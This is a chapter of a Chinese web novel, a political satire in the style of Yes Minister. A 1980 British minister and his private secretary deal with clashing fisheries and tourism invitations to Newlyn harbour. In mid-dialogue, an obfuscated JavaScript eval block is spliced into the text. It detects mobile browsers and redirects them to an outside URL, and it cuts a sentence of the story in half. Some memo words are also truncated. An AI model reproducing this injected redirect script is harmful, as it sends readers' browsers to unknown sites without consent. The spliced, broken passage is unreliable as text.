默认冷灰
24号文字
方正启体

14. 双重邀请

作者:用其他笔名本书字数:K更新时间:
    【初启航】S01E02 《忧郁的鳕鱼》(The Melancholy Cod)


    1980年1月28日,星期一。


    一月末的伦敦,难以驱散的寒气包裹着威斯敏斯特,不断渗进协同协调部大臣办公室那过分宽敞的房间。


    那张维多利亚风格的橡木桌上,收文篮已经被新的文件堆满,旁边静静的躺着两封刚被查尔斯·海德阅读过的邀请函。


    而查尔斯本人正在办公桌旁踱步。


    他年轻的首席私人秘书西里尔·埃斯利则小心的站在一旁,目光随着大臣的步伐游移。


    终于,查尔斯停下了脚步,转头看向西里尔。


    “这是什么邀请?”他指着桌上的邀请函。


    西里尔清了清嗓子,随即汇报了两封邀请函的内容:“农业、渔业和食品部(Ministry of Agriculture, Fisheries and Food, MAFF)致函邀请,希望您在星期三能去一趟康沃尔的纽林港,就‘共同渔业政策’配额问题与当地渔民代表举行一次研讨会,安抚地方情绪。同时……”他顿了顿,“旅游局(British Tourist Authority, BTA)也发来邀请,希望您能为同日在同一港口举办的‘康沃尔海鲜节’开幕剪彩。”


    “……”查尔斯看着他,“我认得字,西里尔。我问的是以你对白厅的理解来看,这背后意味着什么?”


    “我很抱歉,大臣。我目前掌握的材料,尚无法支持对MAFF与BTA此举的深层动机做出确切判断。但从表面上看,MAFF的邀请旨在通过您的莅临,转移对共同渔业政策谈判僵局的注意力,将地方性压力暂时向上推;而BTA则显然希望利用内阁大臣的身份,最大化海鲜节的媒体曝光和旅游效益。”西里尔背着手,身体悄悄向后倾着。


    查尔斯似乎是叹了口气,“同一天,同一个港口,一边是忧郁的渔民在抱怨没鱼可打,另一边是欢乐的游客在庆祝海鲜丰收?政府的崇高艺术,白厅的最新黑色幽默剧本?”他绕回办公桌后坐下。


    “这是要我先为鳕鱼的葬礼致悼词,再鼓励人们吃掉它的尸体。他们两家是彻底没通过气,还是串通好了存心想看我的笑话?”说着,查尔斯的声音里带上了些被荒谬感逗乐的意味。


    “不是串通,大臣。”西里尔小声纠正,“只是部门间未进行充分的日程协调,导致出现了这个……兼容性问题。”


    “‘兼容性问题’?很好。下次财政部和国防部为预算吵架时,我就说他们遇到了‘资源分配兼容性问题’。这词真好用,能把一场战争说成一次技术故障……你和阿利斯泰是共用一套替换词词库吗?”查尔斯显然被这个阿利斯泰味十足的选词噎到了。


    “说起来,我们的‘观察者’知道这个‘兼容性问题’吗?”


    “Yes, Minister.”西里尔上前一步,从收文篮里精确地抽出一份薄薄的备忘录,递到查尔斯面前:


    备忘录(MEMORANDUM)


    协同协调部 - Department of Synergy Coordination


    编号(Ref):DSC/MIN/VISIT/001/80


    收件人(To):The Secretary of State(The Rt Hon Charles Hyde MP)


    发件人(From):A. Cavendish, Acting Permanent Secretary


    日期(Date):28 January 1980


    主题(Subject):关于受邀访问康沃尔郡纽林港的紧急简报与行程冲突


    Minister,


    1.背景(Background):


    农业、渔业和食品部(MAFF)与环境部(Department of the Environment, DoE)就欧洲共同渔业政策mon Fisheries Policy, CFP)下的渔业配额分配及近海生态保护标准存在长期分歧。康沃尔郡渔民因配额缩减和渔场环境恶化,情绪激动,已多次向MAFF及当地议员表达抗议。


    2.邀请与冲突(Invitations & Conflict):


    a)MAFF邀请:MAFF正式邀请您于本周三(30 Jan)前往纽林港,出席一场“渔业未来与可持续发展紧急研讨会”,旨在安抚地方情绪,展现中央政府的“倾听姿态”。


    b)旅游局邀请:同时,英国旅游局亦邀请您于同一天,在同一港口,为“康沃尔海鲜节”开幕剪彩。该活动旨在推广地方旅游与餐饮。


    3.核心矛盾(Core Conflict):


    两项活动本质上代表了不可调和的利益冲突:一方是面临生计危机的生产者(渔民),另一方是庆祝渔业产出的消费者(游客与餐饮业)。


    4.风险评估(Risk Assessment):


    媒体风险:您在上午的研讨会上呼吁“限制捕捞,保护渔业资源”,下午则为“海鲜盛宴”剪彩,易被媒体描绘为“虚伪”或“脱离实际”。


    政治风险:无论您偏向哪方,都可能激怒另一方及其背后的政府部门,处理不当将严重损害DSC的初生信誉。


    物理风险:渔民群体情绪激动,不能完全排除抗议活动干扰或升级为局部冲突的可能性,存在一定的现场秩序风险。


    5.建议(Rmendation):


    a)建议婉拒其中一项,或两项皆拒,理由为“日程早已排满”或“需优先处理中央跨部门协调事务”。如必须出席,建议仅参加其中一项,并由私人秘书处提前与另一方做好解释与安抚工作。


    b)暂缓就此事件做出任何公开倾向性表态,并由DSC牵头,紧急召集MAFF、DoE以及英国旅游局(连同其上级部门DoT的代表),进行一次高层级跨部门协调会议,以评估并提出一个能兼顾各方利益的“公共信息发布协同方案”。此举将体现DSC在处理复杂跨部门冲突中的核心价值。


    请指示。


    A. Cavendish


    内容不长,查尔斯很快便读完了。


    “开会?”他显然觉得荒谬。


    “让MAFF和BTA的人在白厅坐下来,再花几个星期的时间起草一份‘措辞完美’的联合声明?康沃尔的渔民早就把港口堵了。我们的Lord是在解决问题,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294774|182690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还是在解决提出问题的人?”


    查尔斯将备忘录放回桌面,视线又在上面逗留了许久,才又开口:“西里尔,去替我预订火车票,告诉康沃尔,他们的‘鳕鱼大臣(Cod Minister)’来了。”


    “Yes, Minister.”西里尔立即应声,“请问需要我起草拒绝哪一方的回函?”


    “不,西里尔。告诉MAFF和BTA,我们接受邀请。两场活动,我都参加。”查尔斯对上西里尔有些惊慌的蓝眼睛,“也告诉你的Sir,我想他现在应该在他的办公室?”


    西里尔几乎是本能的看了一眼那扇连接着常任秘书办公室的门:“Yes, Minister.是否需要我请他过来?”


    “不,不用‘请’他。”查尔斯拿起那份备忘录,递回给西里尔,“带着这个。告诉他,他的风险评估很精彩,他的‘建议’也非常符合白厅最优秀的传统——把复杂问题包装成完美的程序,然后让问题在程序里自行消解。但他的大臣决定亲自去现场解决问题,而不是把它包装得更漂亮再送回去。”


    “Yes, Minister.我会立刻向Sir汇报您的指示,并着手准备行程细节。”西里尔再度应道,他微微欠身,快步走出办公室。


    查尔斯目送西里尔离去,他猜他会直接绕到另一头进入隔壁的办公室。


    ——


    ——


    ——


    帕丁顿车站的夜晚与白天的喧嚣截然不同。


    巨大的拱形玻璃穹顶下,只剩下零星的旅客和工作人员,空气中充斥着柴油的浓重气味。机械翻页式发车信息牌发出“咔哒、咔哒”的清脆声响,更新着开往雷丁、埃克塞特、普利茅斯和线路终点——彭赞斯的列车信息。


    一辆奥斯丁公务车停在了车站外。


    查尔斯从车上下来。


    西里尔紧随其后,怀里抱着一个沉甸甸的公文包,里面装着两份讲稿、背景资料、紧急联络人名单等。


    “我们订的是相邻的两个一等卧铺包厢,11和12号。列车23点45分发车。我跟乘务员打过招呼,他会在休息室等我们。”他低声汇报着。


    两人在一等候车室稍作停留,然后由一名佩戴臂章的列车员引导,走向站台。那列深蓝色涂装、印有英国铁路双箭头标志的夜间卧铺列车静卧在轨道上。


    因为查尔斯星期二这天繁忙的事务安排,他们只能乘坐这趟“夜间康沃尔人号(The Night Cornishman)”,以便在次日清晨到达西南尽头的目的地。


    列车发出悠长的鸣笛声,将伦敦抛在身后,穿过夜色,海风带来咸湿的气息与柴油味混杂在一块。


    大西线的终点站,一位当地政府的联络官已经在站台等候,将换了件棕色粗花呢夹克的查尔斯,以及有些不安的西里尔迎上公务车。


    海鸥的叫声此起彼伏,大海的咸湿染上更深的鱼腥,柴油味倒是没什么变化。


    从彭赞斯到纽林的车程很短,转过一个弯,纽林港的全貌便展现在眼前。


    锈迹斑斑、无精打采的拖网渔船……和铅灰色天空下额外突出的彩旗。


    “把彼此当作不存在。”西里尔听到查尔斯说,“葬礼与盛宴。(Funeral and feast.)”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)